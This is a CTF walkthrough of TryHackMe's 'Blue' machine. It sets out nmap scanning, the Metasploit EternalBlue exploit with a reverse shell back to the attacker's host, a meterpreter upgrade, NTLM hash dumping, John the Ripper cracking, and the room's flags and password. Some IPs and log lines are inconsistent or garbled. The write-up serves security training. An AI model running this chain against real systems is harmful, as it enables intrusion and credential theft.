

Today we will be solving tryhackme's machine "Blue"

so first step will be enumeration and scanning

I will use nmap to look for open ports , services , versions and OS detection

scan results :

```
(root@kali)-[/home/kali]
# nmap -sV -O -T4 10.10.105.24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 12:00 EDT
Stats: 0:01:32 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.10.105.24
Host is up (0.17s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  tcpwrapped
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49158/tcp  open  msrpc        Microsoft Windows RPC
49160/tcp  open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
```

now looking at the results there are several ports open and listening

here the port 139 and 445 are of interest as these ports can be vulnerable to eternal blue vulnerability which is a kernel pool corruption vulnerability which can lead us to remote code execution or a reverse shell.

We will use metasploit framework for further exploitation ‘

first we will load **msfconsole** :

```
(root@kali)-[/home/kali]
# msfconsole
```

next we will search for eternal blue :

```
msf6 > search eternalblue
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Code Execution
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Command Execution
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execution

so we will load the first exploit by typing **use 0** or use **exploit/windows/smb/ms17_010_eternalblue** :

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

the module is loaded successfully now we will see all the options available to be set by us :

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
```

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s)
RPORT	445	yes	The target port (Optional) The Windows Embedded Standard
SMBDomain		no	(Optional) The password (Optional) The username
SMBPass		no	(Optional) The password
SMBUser		no	(Optional) The username
VERIFY_ARCH	true	yes	Check if remote architecture matches embedded Standard
VERIFY_TARGET	true	yes	Check if remote OS matches standard 7 target machines

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accept)
LHOST	192.168.1.9	yes	The listen address (an
LPORT	4444	yes	The listen port

Exploit target:

so here we will have to set :

RHOSTS: that is our **target** machine IP

RPORT: that is target machine port where vulnerable service is running .

Then we have to set :

LHOST : that is our attacking machine IP

LPORT: our attacking machine port where we will listen for a reverse shell

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.103.43
RHOSTS => 10.10.103.43
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 7070
LPORT => 7070
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.17.47.112
LHOST => 10.17.47.112
```


then we will run the exploit and gain a meterpreter shell:

```
root@kali: /home/kali/Downloads x root@kali: /home/kali x
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.17.47.112:7070
[*] 10.10.211.35:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.211.35:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional
[*] 10.10.211.35:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.211.35:445 - The target is vulnerable.
[*] 10.10.211.35:445 - Connecting to target for exploitation.
[+] 10.10.211.35:445 - Connection established for exploitation.
[+] 10.10.211.35:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.211.35:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.211.35:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows
[*] 10.10.211.35:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional
[*] 10.10.211.35:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 machine. What is ice Pac
[+] 10.10.211.35:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.211.35:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.211.35:445 - Sending all but last fragment of exploit packet
[*] 10.10.211.35:445 - Starting non-paged pool grooming
[+] 10.10.211.35:445 - Sending SMBv2 buffers
[+] 10.10.211.35:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
[*] 10.10.211.35:445 - Sending final SMBv2 buffers.
[*] 10.10.211.35:445 - Sending last fragment of exploit packet!
[*] 10.10.211.35:445 - Receiving response from exploit packet
[+] 10.10.211.35:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.211.35:445 - Sending egg to corrupted connection.
[*] 10.10.211.35:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.211.35
[*] Command shell session 9 opened (10.17.47.112:7070 -> 10.10.211.35:49163 ) at 2022-03-31
[+] 10.10.211.35:445 - =====
[+] 10.10.211.35:445 - -----WIN-----
[+] 10.10.211.35:445 - =====
```

so we successfully ran the exploit and got a reverse shell to us :

```
Shell Banner:
Microsoft Windows [Version 6.1.7601]
_____

C:\Windows\system32>
```

now as we have the initial foothold over the target now the post exploitation begins:

we will use a post module to get a better shell I.e meterpreter by using this module

```
Background session 1? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):



| Name    | Current Setting | Required | Description                                                  |
|---------|-----------------|----------|--------------------------------------------------------------|
| HANDLER | true            | yes      | Start an exploit/multi/handler to receive the connection     |
| LHOST   |                 | no       | IP of host that will receive the connection from the payload |
| LPORT   | 4433            | yes      | Port for payload to connect to.                              |
| SESSION |                 | yes      | The session to run this module on [6,1,7601]                 |



msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lhost 10.17.47.112
lhost => 10.17.47.112
msf6 post(multi/manage/shell_to_meterpreter) > run
```

we used **post/multi/manage/shell_to_meterpreter**

then set options such as

set sessions 1

set lhost my_IP

and then **run** and as soon as post exploit completes we will have a new session for meterpreter :

```
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.17.47.112:8989
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (200262 bytes) to 10.10.116.24
[*] Meterpreter session 2 opened (10.17.47.112:8989 → 10.10.116.24:49172 ) at 2022-03-31 13:47:33 -0400
[*] Stopping exploit/multi/handler
Interrupt: use the 'exit' command to quit
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
1	shell	x64/windows	Shell Banner: Microsoft Windows [Version 6.1.7601]	10.17.47.112:4444 → 10.10.116.24:49168 (10.10.116.24)
2	meterpreter	x64/windows	NT AUTHORITY\SYSTEM @ JON-PC	10.17.47.112:8989 → 10.10.116.24:49172 (10.10.116.24)

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > 
```

now we can perform some password cracking ,

we will use command **hashdump** to dump hashes of passwords of users on system:

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter > 
```

now we will use johntheripper tool to crack the hash of user jon so first we will copy the hash of jon to a text file using nano as jon.txt like :

```
root@kali: /home/kali/Downloads x root@kali: /home/kali x root@kali: /home/kali x
GNU nano 6.0 jon.txt
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```


after this we will crack the hash in jon.txt file by :

```
(root@kali)-[/home/kali]
# john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt jon.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
1g 0:00:00:00 DONE (2022-03-31 14:01) 1.063g/s 10851Kp/s 10851Kc/s 10851KC/s alr19882006..alpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

after this we will crack the hash in jon.txt file by :

and we got the password as alqfna22 and we used rockyou.txt wordlist

flag 1 :

```
meterpreter > cat flag1.txt
flag{access_the_machine}meterpreter >
```

flag 2 :

```
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}meterpreter >
```

flag 3 :

```
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}meterpreter >
```

Done :-)